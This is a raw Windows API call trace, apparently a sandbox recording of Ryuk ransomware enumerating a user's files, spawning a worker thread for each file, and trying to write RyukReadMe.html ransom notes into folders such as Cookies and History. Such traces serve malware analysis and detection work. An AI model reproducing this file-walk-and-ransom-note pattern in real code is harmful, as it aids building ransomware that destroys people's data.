	[0249.121] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xd1113ab0, ftCreationTime.dwHighDateTime=0x1d5b9c9, ftLastAccessTime.dwLowDateTime=0x7466aa70, ftLastAccessTime.dwHighDateTime=0x1d5bdc5, ftLastWriteTime.dwLowDateTime=0x7466aa70, ftLastWriteTime.dwHighDateTime=0x1d5bdc5, nFileSizeHigh=0x0, nFileSizeLow=0xa065, dwReserved0=0x210, dwReserved1=0x0, cFileName="-lr0Ch.doc", cAlternateFileName="")) returned 1
	[0249.121] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.122] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x52c
	[0249.124] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.125] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x550d4040, ftCreationTime.dwHighDateTime=0x1d5bbee, ftLastAccessTime.dwLowDateTime=0xc2aa3740, ftLastAccessTime.dwHighDateTime=0x1d5bac0, ftLastWriteTime.dwLowDateTime=0xc2aa3740, ftLastWriteTime.dwHighDateTime=0x1d5bac0, nFileSizeHigh=0x0, nFileSizeLow=0xd27a, dwReserved0=0x210, dwReserved1=0x0, cFileName="1o86XN.gif", cAlternateFileName="")) returned 1
	[0249.125] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.125] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x530
	[0249.128] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.128] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xcbe885a0, ftCreationTime.dwHighDateTime=0x1d5c0d8, ftLastAccessTime.dwLowDateTime=0xc5b4ed30, ftLastAccessTime.dwHighDateTime=0x1d5bc97, ftLastWriteTime.dwLowDateTime=0xc5b4ed30, ftLastWriteTime.dwHighDateTime=0x1d5bc97, nFileSizeHigh=0x0, nFileSizeLow=0x131e4, dwReserved0=0x210, dwReserved1=0x0, cFileName="2bzGyA5wVpzpZK3I0Z6-.wav", cAlternateFileName="2BZGYA~1.WAV")) returned 1
	[0249.129] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.129] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x534
	[0249.131] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.132] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77901250, ftCreationTime.dwHighDateTime=0x1d5c486, ftLastAccessTime.dwLowDateTime=0x77772b90, ftLastAccessTime.dwHighDateTime=0x1d5c1f3, ftLastWriteTime.dwLowDateTime=0x77772b90, ftLastWriteTime.dwHighDateTime=0x1d5c1f3, nFileSizeHigh=0x0, nFileSizeLow=0xdfd1, dwReserved0=0x210, dwReserved1=0x0, cFileName="4H2RiR0v1TTc.mp3", cAlternateFileName="4H2RIR~1.MP3")) returned 1
	[0249.132] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.133] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x538
	[0249.134] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.135] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x594aafd0, ftCreationTime.dwHighDateTime=0x1d5c265, ftLastAccessTime.dwLowDateTime=0xeaed6550, ftLastAccessTime.dwHighDateTime=0x1d5c3ae, ftLastWriteTime.dwLowDateTime=0xeaed6550, ftLastWriteTime.dwHighDateTime=0x1d5c3ae, nFileSizeHigh=0x0, nFileSizeLow=0xec85, dwReserved0=0x210, dwReserved1=0x0, cFileName="4XLcXlYhAvHImy-.bmp", cAlternateFileName="4XLCXL~1.BMP")) returned 1
	[0249.135] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.136] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x53c
	[0249.137] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.137] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x82c01120, ftCreationTime.dwHighDateTime=0x1d5c1e3, ftLastAccessTime.dwLowDateTime=0xe794f4b0, ftLastAccessTime.dwHighDateTime=0x1d5b73b, ftLastWriteTime.dwLowDateTime=0xe794f4b0, ftLastWriteTime.dwHighDateTime=0x1d5b73b, nFileSizeHigh=0x0, nFileSizeLow=0x48de, dwReserved0=0x210, dwReserved1=0x0, cFileName="5hDsOAAkJpxZ1n.m4a", cAlternateFileName="5HDSOA~1.M4A")) returned 1
	[0249.137] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.138] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x540
	[0249.139] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.139] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xccabcfa0, ftCreationTime.dwHighDateTime=0x1d5b9c7, ftLastAccessTime.dwLowDateTime=0xe4c8ae90, ftLastAccessTime.dwHighDateTime=0x1d5bbcb, ftLastWriteTime.dwLowDateTime=0xe4c8ae90, ftLastWriteTime.dwHighDateTime=0x1d5bbcb, nFileSizeHigh=0x0, nFileSizeLow=0x172d8, dwReserved0=0x210, dwReserved1=0x0, cFileName="5z_ijfYGlkugL6.wav", cAlternateFileName="5Z_IJF~1.WAV")) returned 1
	[0249.139] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.140] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x544
	[0249.141] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.142] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x77ebf3b0, ftCreationTime.dwHighDateTime=0x1d5bb1f, ftLastAccessTime.dwLowDateTime=0xd1153960, ftLastAccessTime.dwHighDateTime=0x1d5b8b8, ftLastWriteTime.dwLowDateTime=0xd1153960, ftLastWriteTime.dwHighDateTime=0x1d5b8b8, nFileSizeHigh=0x0, nFileSizeLow=0x6cd4, dwReserved0=0x210, dwReserved1=0x0, cFileName="6p47SKC0 jWuZ.mp3", cAlternateFileName="6P47SK~1.MP3")) returned 1
	[0249.142] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.143] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x548
	[0249.414] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.416] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xb6a868a0, ftCreationTime.dwHighDateTime=0x1d5c0c8, ftLastAccessTime.dwLowDateTime=0x26fb9b50, ftLastAccessTime.dwHighDateTime=0x1d5c393, ftLastWriteTime.dwLowDateTime=0x26fb9b50, ftLastWriteTime.dwHighDateTime=0x1d5c393, nFileSizeHigh=0x0, nFileSizeLow=0x7ab6, dwReserved0=0x210, dwReserved1=0x0, cFileName="9iFq8y63.mkv", cAlternateFileName="")) returned 1
	[0249.416] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.417] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x54c
	[0249.419] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.420] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xa30d60d0, ftCreationTime.dwHighDateTime=0x1d5c531, ftLastAccessTime.dwLowDateTime=0xcdd5a660, ftLastAccessTime.dwHighDateTime=0x1d5c1da, ftLastWriteTime.dwLowDateTime=0xcdd5a660, ftLastWriteTime.dwHighDateTime=0x1d5c1da, nFileSizeHigh=0x0, nFileSizeLow=0x12d73, dwReserved0=0x210, dwReserved1=0x0, cFileName="9u 2RHDpu7bjqdHbaNzn.m4a", cAlternateFileName="9U2RHD~1.M4A")) returned 1
	[0249.420] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.420] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x550
	[0249.423] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.424] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe9bf60c0, ftCreationTime.dwHighDateTime=0x1d5c039, ftLastAccessTime.dwLowDateTime=0x3d6e07f0, ftLastAccessTime.dwHighDateTime=0x1d5b949, ftLastWriteTime.dwLowDateTime=0x3d6e07f0, ftLastWriteTime.dwHighDateTime=0x1d5b949, nFileSizeHigh=0x0, nFileSizeLow=0x12d3f, dwReserved0=0x210, dwReserved1=0x0, cFileName="A2rJ_R-Shn.pdf", cAlternateFileName="A2RJ_R~1.PDF")) returned 1
	[0249.424] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.424] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4863d0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x554
	[0249.426] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.427] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x54b91d00, ftCreationTime.dwHighDateTime=0x1d5c60a, ftLastAccessTime.dwLowDateTime=0x54b91d00, ftLastAccessTime.dwHighDateTime=0x1d5c60a, ftLastWriteTime.dwLowDateTime=0x54c76540, ftLastWriteTime.dwHighDateTime=0x1d5c60a, nFileSizeHigh=0x0, nFileSizeLow=0x2fc, dwReserved0=0x210, dwReserved1=0x0, cFileName="AdobeARM.log", cAlternateFileName="")) returned 1
	[0249.427] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.428] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f489ab0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x558
	[0249.430] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.431] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x25e50480, ftCreationTime.dwHighDateTime=0x1d5bceb, ftLastAccessTime.dwLowDateTime=0x54333b30, ftLastAccessTime.dwHighDateTime=0x1d5c4c6, ftLastWriteTime.dwLowDateTime=0x54333b30, ftLastWriteTime.dwHighDateTime=0x1d5c4c6, nFileSizeHigh=0x0, nFileSizeLow=0x13c33, dwReserved0=0x210, dwReserved1=0x0, cFileName="aX8mAHttLRxPap-u.mp3", cAlternateFileName="AX8MAH~1.MP3")) returned 1
	[0249.431] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.432] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x55c
	[0249.434] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.434] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xf682ed80, ftCreationTime.dwHighDateTime=0x1d5bb49, ftLastAccessTime.dwLowDateTime=0x4fb2aa00, ftLastAccessTime.dwHighDateTime=0x1d5b5fd, ftLastWriteTime.dwLowDateTime=0x4fb2aa00, ftLastWriteTime.dwHighDateTime=0x1d5b5fd, nFileSizeHigh=0x0, nFileSizeLow=0x182b8, dwReserved0=0x210, dwReserved1=0x0, cFileName="b0qHL.odt", cAlternateFileName="")) returned 1
	[0249.434] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.435] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x560
	[0249.438] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.438] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x99a9ea0, ftCreationTime.dwHighDateTime=0x1d5b75c, ftLastAccessTime.dwLowDateTime=0x2f4279b0, ftLastAccessTime.dwHighDateTime=0x1d5c1fd, ftLastWriteTime.dwLowDateTime=0x2f4279b0, ftLastWriteTime.dwHighDateTime=0x1d5c1fd, nFileSizeHigh=0x0, nFileSizeLow=0x1762e, dwReserved0=0x210, dwReserved1=0x0, cFileName="c2o-.png", cAlternateFileName="")) returned 1
	[0249.439] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.439] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f478850, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x564
	[0249.441] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.442] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xc0ea1050, ftCreationTime.dwHighDateTime=0x1d5c1c9, ftLastAccessTime.dwLowDateTime=0x65677190, ftLastAccessTime.dwHighDateTime=0x1d5b9cd, ftLastWriteTime.dwLowDateTime=0x65677190, ftLastWriteTime.dwHighDateTime=0x1d5b9cd, nFileSizeHigh=0x0, nFileSizeLow=0x2a72, dwReserved0=0x210, dwReserved1=0x0, cFileName="cN7DcCnDgk9.gif", cAlternateFileName="CN7DCC~1.GIF")) returned 1
	[0249.442] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.443] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47bf30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x568
	[0249.445] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.445] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97d7f40, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97d7f40, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97d7f40, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="Cookies", cAlternateFileName="")) returned 1
	[0249.445] SetLastError (dwErrCode=0x0) 
	[0249.445] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.445] GetLastError () returned 0x3
	[0249.445] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.446] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.446] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
	[0249.446] FindClose (in: hFindFile=0xffffffffffffffff | out: hFindFile=0xffffffffffffffff) returned 0
	[0249.446] SetLastError (dwErrCode=0x0) 
	[0249.446] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\Cookies\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\cookies\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.446] GetLastError () returned 0x3
	[0249.446] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.446] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.446] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x889a5c30, ftCreationTime.dwHighDateTime=0x1d5ba82, ftLastAccessTime.dwLowDateTime=0xd9e5b1f0, ftLastAccessTime.dwHighDateTime=0x1d5c119, ftLastWriteTime.dwLowDateTime=0xd9e5b1f0, ftLastWriteTime.dwHighDateTime=0x1d5c119, nFileSizeHigh=0x0, nFileSizeLow=0x14e10, dwReserved0=0x210, dwReserved1=0x0, cFileName="cWKgRNKb-nRhISbFb.odp", cAlternateFileName="CWKGRN~1.ODP")) returned 1
	[0249.446] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.447] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x56c
	[0249.449] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.449] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x15852070, ftCreationTime.dwHighDateTime=0x1d5c286, ftLastAccessTime.dwLowDateTime=0x59838c40, ftLastAccessTime.dwHighDateTime=0x1d5bf06, ftLastWriteTime.dwLowDateTime=0x59838c40, ftLastWriteTime.dwHighDateTime=0x1d5bf06, nFileSizeHigh=0x0, nFileSizeLow=0x2e96, dwReserved0=0x210, dwReserved1=0x0, cFileName="dMinn1FcJBx.png", cAlternateFileName="DMINN1~1.PNG")) returned 1
	[0249.449] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.450] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x570
	[0249.451] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.452] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x461becb0, ftCreationTime.dwHighDateTime=0x1d5c14f, ftLastAccessTime.dwLowDateTime=0x99f1c130, ftLastAccessTime.dwHighDateTime=0x1d5bc9e, ftLastWriteTime.dwLowDateTime=0x99f1c130, ftLastWriteTime.dwHighDateTime=0x1d5bc9e, nFileSizeHigh=0x0, nFileSizeLow=0xf83e, dwReserved0=0x210, dwReserved1=0x0, cFileName="exePZrJ2UyzVaEc7nPX.wav", cAlternateFileName="EXEPZR~1.WAV")) returned 1
	[0249.452] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x28dbdd20, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x33d9ad10, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x33d9ad10, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="FXSAPIDebugLogFile.txt", cAlternateFileName="FXSAPI~1.TXT")) returned 1
	[0249.452] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.453] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x574
	[0249.454] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.454] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x5b59a6b0, ftCreationTime.dwHighDateTime=0x1d5bbe3, ftLastAccessTime.dwLowDateTime=0x5fb1c190, ftLastAccessTime.dwHighDateTime=0x1d5c307, ftLastWriteTime.dwLowDateTime=0x5fb1c190, ftLastWriteTime.dwHighDateTime=0x1d5c307, nFileSizeHigh=0x0, nFileSizeLow=0x18ea6, dwReserved0=0x210, dwReserved1=0x0, cFileName="H3Njx34uqpIif.flv", cAlternateFileName="H3NJX3~1.FLV")) returned 1
	[0249.454] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x8b00000
	[0249.455] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x578
	[0249.457] VirtualFree (lpAddress=0x8b00000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0249.457] FindNextFileW (in: hFindFile=0x3ef970, lpFindFileData=0x18c620 | out: lpFindFileData=0x18c620*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0xd97fe0a0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xd97fe0a0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xd97fe0a0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x210, dwReserved1=0x0, cFileName="History", cAlternateFileName="")) returned 1
	[0249.457] SetLastError (dwErrCode=0x0) 
	[0249.457] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\RyukReadMe.html" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\temp\\ryukreadme.html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0249.457] GetLastError () returned 0x3
	[0249.457] WriteFile (in: hFile=0xffffffffffffffff, lpBuffer=0x13f46dfb0, nNumberOfBytesToWrite=0x273, lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x18c568, lpOverlapped=0x0) returned 0
	[0249.457] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0249.458] FindFirstFileW (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Temp\\History\\*.*", lpFindFileData=0x18bef0 | out: lpFindFileData=0x18bef0*(dwFileAttributes=0x230, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x380000, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x201, nFileSizeHigh=0x2, nFileSizeLow=0x3804a8, dwReserved0=0x21a, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0xffffffffffffffff
